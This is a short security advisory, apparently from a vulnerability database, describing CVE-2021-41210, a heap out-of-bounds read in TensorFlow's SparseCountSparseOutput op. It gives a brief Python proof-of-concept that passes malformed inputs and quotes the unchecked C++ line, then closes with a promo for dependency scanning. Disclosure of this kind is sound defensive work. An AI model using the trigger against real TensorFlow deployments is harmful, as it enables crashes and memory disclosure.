CVE-2021-41210: Heap OOB read in `tf.raw_ops.SparseCountSparseOutput`

(updated )

The shape inference functions for SparseCountSparseOutput can trigger a read outside of bounds of heap allocated array:

import tensorflow as tf

@tf.function
def func():
return tf.raw_ops.SparseCountSparseOutput(
indices=[1],
values=[[1]],
dense_shape=[10],
weights=[],
binary_output= True)

func()

The function fails to check that the first input (i.e., indices) has rank 2:

auto rank = c->Dim(c->input(0), 1);

References

Detect and mitigate CVE-2021-41210 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →